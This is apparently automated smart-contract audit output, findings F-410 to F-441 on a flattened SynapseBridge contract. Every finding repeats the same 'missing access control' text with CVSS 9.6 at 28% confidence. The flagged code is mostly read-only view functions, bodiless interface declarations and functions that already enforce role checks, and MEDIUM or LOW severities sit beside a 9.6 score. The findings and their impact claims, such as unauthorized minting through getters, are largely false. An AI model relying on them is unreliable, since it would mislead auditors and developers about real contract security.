Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1695 (hasRole)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1690 |     event RoleRevoked(bytes32 indexed role, address indexed account, address
indexed sender);
1691 |
1692 |     /**
1693 |      * @dev Returns `true` if `account` has been granted `role`.
1694 |      */
>> 1695 |     function hasRole(bytes32 role, address account) public view returns (bool)
{
1696 |         return _roles[role].members.contains(account);
1697 |     }
1698 |
1699 |     /**
1700 |      * @dev Returns the number of accounts that have `role`. Can be used

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-411. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1703 (getRoleMemberCount)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1698 |
1699 |     /**
1700 |      * @dev Returns the number of accounts that have `role`. Can be used
1701 |      * together with {getRoleMember} to enumerate all bearers of a role.
1702 |      */
>> 1703 |     function getRoleMemberCount(bytes32 role) public view returns (uint256) {
1704 |         return _roles[role].members.length();
1705 |     }
1706 |

```

```

1707 |    /**
1708 |    * @dev Returns one of the accounts that have `role`. `index` must be a

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-412. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1719 (getRoleMember)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1714 |    * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
1715 |    * you perform all queries on the same block. See the following
1716 |    * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
1717 |    * for more information.
1718 |    */
>> 1719 |    function getRoleMember(bytes32 role, uint256 index) public view returns
(address) {
1720 |        return _roles[role].members.at(index);

```

```

1721 |     }
1722 |
1723 |     /**
1724 |     * @dev Returns the admin role that controls `role`. See {grantRole} and

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-413. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1729 (getRoleAdmin)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1724 |     * @dev Returns the admin role that controls `role`. See {grantRole} and
1725 |     * {revokeRole}.
1726 |     *
1727 |     * To change a role's admin, use {_setRoleAdmin}.
1728 |     */
>> 1729 |     function getRoleAdmin(bytes32 role) public view returns (bytes32) {
1730 |         return _roles[role].adminRole;
1731 |     }

```



```

1732 |
1733 |     /**
1734 |     * @dev Grants `role` to `account`.

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-414. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1743 (grantRole)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1738 |     *
1739 |     * Requirements:
1740 |     *
1741 |     * - the caller must have ``role``'s admin role.
1742 |     */
>> 1743 |     function grantRole(bytes32 role, address account) public virtual {
1744 |         require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl:
sender must be an admin to grant");
1745 |

```

```

1746 |         _grantRole(role, account);
1747 |     }
1748 |

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-415. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1758 (revokeRole)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1753 |     *
1754 |     * Requirements:
1755 |     *
1756 |     * - the caller must have ``role``'s admin role.
1757 |     */
>> 1758 |     function revokeRole(bytes32 role, address account) public virtual {
1759 |         require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl:
sender must be an admin to revoke");
1760 |

```

```

1761 |         _revokeRole(role, account);
1762 |     }
1763 |

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-416. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1778 (renounceRole)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1773 |     *
1774 |     * Requirements:
1775 |     *
1776 |     * - the caller must be `account`.
1777 |     */
>> 1778 |     function renounceRole(bytes32 role, address account) public virtual {
1779 |         require(account == _msgSender(), "AccessControl: can only renounce
roles for self");
1780 |

```

```

1781 |         _revokeRole(role, account);
1782 |     }
1783 |

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-417. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1843 (burn)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1838 |     /**
1839 |      * @dev Destroys `amount` tokens from the caller.
1840 |      *
1841 |      * See {ERC20-_burn}.
1842 |      */
>> 1843 |     function burn(uint256 amount) public virtual {
1844 |         _burn(msgSender(), amount);
1845 |     }
1846 |

```

```

1847 |    /**
1848 |    * @dev Destroys `amount` tokens from `account`, deducting from the
    caller's

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-418. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1858 (burnFrom)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1853 |    * Requirements:
1854 |    *
1855 |    * - the caller must have allowance for ``accounts``'s tokens of at least
1856 |    * `amount`.
1857 |    */
>> 1858 |    function burnFrom(address account, uint256 amount) public virtual {
1859 |        uint256 decreasedAllowance = allowance(account,
_msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
1860 |

```

```

1861 |         _approve(account, _msgSender(), decreasedAllowance);
1862 |         _burn(account, amount);
1863 |     }

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-419. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1870 (getA)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1865 |
1866 | // bridge/interfaces/ISwap.sol
1867 |
1868 | interface ISwap {
1869 |     // pool data view functions
>> 1870 |     function getA() external view returns (uint256);
1871 |
1872 |     function getAPrecise() external view returns (uint256);
1873 |

```

```
1874 |     function getToken(uint8 index) external view returns (IERC20);
1875 |
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-420. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1872 (getAPrecise)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
1867 |
1868 | interface ISwap {
1869 |     // pool data view functions
1870 |     function getA() external view returns (uint256);
1871 |
>> 1872 |     function getAPrecise() external view returns (uint256);
1873 |
1874 |     function getToken(uint8 index) external view returns (IERC20);
1875 |
1876 |     function getTokenIndex(address tokenAddress) external view returns
```

```
(uint8);
1877 |
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-421. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1874 (getToken)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
1869 | // pool data view functions
1870 | function getA() external view returns (uint256);
1871 |
1872 | function getAPrecise() external view returns (uint256);
1873 |
>> 1874 | function getToken(uint8 index) external view returns (IERC20);
1875 |
1876 | function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |
```



```
1878 | function getTokenBalance(uint8 index) external view returns (uint256);
1879 |
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-422. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1876 (getTokenIndex)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
1871 |
1872 | function getAPrecise() external view returns (uint256);
1873 |
1874 | function getToken(uint8 index) external view returns (IERC20);
1875 |
>> 1876 | function getTokenIndex(address tokenAddress) external view returns
      | (uint8);
1877 |
1878 | function getTokenBalance(uint8 index) external view returns (uint256);
```

```

1879 |
1880 |     function getVirtualPrice() external view returns (uint256);
1881 |

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-423. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1878 (getTokenBalance)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1873 |
1874 |     function getToken(uint8 index) external view returns (IERC20);
1875 |
1876 |     function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |

```

```

>> 1878 | function getTokenBalance(uint8 index) external view returns (uint256);
    1879 |
    1880 | function getVirtualPrice() external view returns (uint256);
    1881 |
    1882 | function swapStorage()
    1883 |     external

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-424. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1880 (getVirtualPrice)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

    1875 |
    1876 | function getTokenIndex(address tokenAddress) external view returns
    (uint8);

```

```

1877 |
1878 |     function getTokenBalance(uint8 index) external view returns (uint256);
1879 |
>> 1880 |     function getVirtualPrice() external view returns (uint256);
1881 |
1882 |     function swapStorage()
1883 |         external
1884 |         view
1885 |         returns (

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-425. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1882 (swapStorage)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1877 |
1878 |     function getTokenBalance(uint8 index) external view returns (uint256);
1879 |

```

```

1880 |         function getVirtualPrice() external view returns (uint256);
1881 |
>> 1882 |         function swapStorage()
1883 |             external
1884 |             view
1885 |             returns (
1886 |                 uint256 initialA,
1887 |                 uint256 futureA,

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-426. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1896 (calculateSwap)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1891 |             uint256 adminFee,
1892 |             address lpToken
1893 |         );

```

```

1894 |
1895 | // min return calculation functions
>> 1896 | function calculateSwap(
1897 |     uint8 tokenIndexFrom,
1898 |     uint8 tokenIndexTo,
1899 |     uint256 dx
1900 | ) external view returns (uint256);
1901 |

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-427. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1902 (calculateTokenAmount)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1897 |         uint8 tokenIndexFrom,
1898 |         uint8 tokenIndexTo,
1899 |         uint256 dx
1900 |     ) external view returns (uint256);
1901 |
>> 1902 |     function calculateTokenAmount(uint256[] calldata amounts, bool deposit)
external view returns (uint256);
1903 |
1904 |     function calculateRemoveLiquidity(uint256 amount) external view returns
(uint256[] memory);
1905 |
1906 |     function calculateRemoveLiquidityOneToken(uint256 tokenAmount, uint8
tokenIndex)
1907 |     external

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-428. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1904 (calculateRemoveLiquidity)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1899 |         uint256 dx
1900 |         ) external view returns (uint256);
1901 |
1902 |         function calculateTokenAmount(uint256[] calldata amounts, bool deposit)
external view returns (uint256);
1903 |
>> 1904 |         function calculateRemoveLiquidity(uint256 amount) external view returns
(uint256[] memory);
1905 |
1906 |         function calculateRemoveLiquidityOneToken(uint256 tokenAmount, uint8
tokenIndex)
1907 |             external
1908 |             view
1909 |             returns (uint256 availableTokenAmount);

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-429. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1906 (calculateRemoveLiquidityOneToken)
Status	Open (28% conf.)

PROPERTY	VALUE
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1901 |
1902 |     function calculateTokenAmount(uint256[] calldata amounts, bool deposit)
external view returns (uint256);
1903 |
1904 |     function calculateRemoveLiquidity(uint256 amount) external view returns
(uint256[] memory);
1905 |
>> 1906 |     function calculateRemoveLiquidityOneToken(uint256 tokenAmount, uint8
tokenIndex)
1907 |         external
1908 |         view
1909 |         returns (uint256 availableTokenAmount);
1910 |
1911 |     // state modifying functions

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-430. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6

PROPERTY	VALUE
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1923 (swap)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1918 |         uint256 fee,
1919 |         uint256 adminFee,
1920 |         address lpTokenTargetAddress
1921 |     ) external;
1922 |
>> 1923 |     function swap(
1924 |         uint8 tokenIndexFrom,
1925 |         uint8 tokenIndexTo,
1926 |         uint256 dx,
1927 |         uint256 minDy,
1928 |         uint256 deadline

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-431. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	

PROPERTY	VALUE
CVSS Score	9.6
Confidence	28%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:1931 (addLiquidity)</code>
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1926 |         uint256 dx,
1927 |         uint256 minDy,
1928 |         uint256 deadline
1929 |     ) external returns (uint256);
1930 |
>> 1931 |     function addLiquidity(
1932 |         uint256[] calldata amounts,
1933 |         uint256 minToMint,
1934 |         uint256 deadline
1935 |     ) external returns (uint256);
1936 |

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (`onlyOwner`, `onlyRole`) or `require()` check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-432. access_control

PROPERTY	VALUE
Severity	MEDIUM

PROPERTY	VALUE
Category	
CVSS Score	9.6
Confidence	28%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:1937</code> <code>(removeLiquidity)</code>
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1932 |         uint256[] calldata amounts,
1933 |         uint256 minToMint,
1934 |         uint256 deadline
1935 |     ) external returns (uint256);
1936 |
>> 1937 |     function removeLiquidity(
1938 |         uint256 amount,
1939 |         uint256[] calldata minAmounts,
1940 |         uint256 deadline
1941 |     ) external returns (uint256[] memory);
1942 |

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (`onlyOwner`, `onlyRole`) or `require()` check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-433. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1943 (removeLiquidityOneToken)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1938 |         uint256 amount,
1939 |         uint256[] calldata minAmounts,
1940 |         uint256 deadline
1941 |     ) external returns (uint256[] memory);
1942 |
>> 1943 |     function removeLiquidityOneToken(
1944 |         uint256 tokenAmount,
1945 |         uint8 tokenIndex,
1946 |         uint256 minAmount,
1947 |         uint256 deadline
1948 |     ) external returns (uint256);

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-434. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1950 (removeLiquidityImbalance)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1945 |         uint8 tokenIndex,
1946 |         uint256 minAmount,
1947 |         uint256 deadline
1948 |     ) external returns (uint256);
1949 |
>> 1950 |     function removeLiquidityImbalance(
1951 |         uint256[] calldata amounts,
1952 |         uint256 maxBurnAmount,
1953 |         uint256 deadline
1954 |     ) external returns (uint256);
1955 | }

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-435. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1982 (initialize)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1977 |
1978 |     mapping(bytes32 => bool) private kappaMap;
1979 |
1980 |     receive() external payable {}
1981 |
>> 1982 |     function initialize() external initializer {
1983 |         startBlockNumber = block.number;
1984 |         _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
1985 |         __AccessControl_init();
1986 |     }
1987 |

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-436. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1988 (setChainGasAmount)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1983 |         startBlockNumber = block.number;
1984 |         _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
1985 |         __AccessControl_init();
1986 |     }
1987 |
>> 1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
1993 |     function setWethAddress(address payable _wethAddress) external {

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-437. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1993 (setWethAddress)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
>> 1993 |     function setWethAddress(address payable _wethAddress) external {
1994 |         require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not admin");
1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-438. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1998 (addKappas)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1993 |     function setWethAddress(address payable _wethAddress) external {
1994 |         require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not admin");
1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
>> 1998 |     function addKappas(bytes32[] calldata kappas) external {
1999 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2000 |         for (uint256 i = 0; i < kappas.length; ++i) {
2001 |             kappaMap[kappas[i]] = true;
2002 |         }
2003 |     }

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-439. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2066 (getFeeBalance)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

2061 |
2062 |     // v2 events
2063 |     event TokenRedeemV2(bytes32 indexed to, uint256 chainId, IERC20 token,
uint256 amount);
2064 |
2065 |     // VIEW FUNCTIONS ***/
>> 2066 |     function getFeeBalance(address tokenAddress) external view returns
(uint256) {
2067 |         return fees[tokenAddress];
2068 |     }
2069 |
2070 |     function kappaExists(bytes32 kappa) external view returns (bool) {
2071 |         return kappaMap[kappa];

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105

- OWASP Smart Contract Top 10

F-440. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2070 (kappaExists)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
2065 | // VIEW FUNCTIONS ***/
2066 | function getFeeBalance(address tokenAddress) external view returns
(uint256) {
2067 |     return fees[tokenAddress];
2068 | }
2069 |
>> 2070 | function kappaExists(bytes32 kappa) external view returns (bool) {
2071 |     return kappaMap[kappa];
2072 | }
2073 |
2074 | // FEE FUNCTIONS ***/
2075 | /**
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105

- OWASP Smart Contract Top 10

F-441. access_control

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2080 (withdrawFees)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

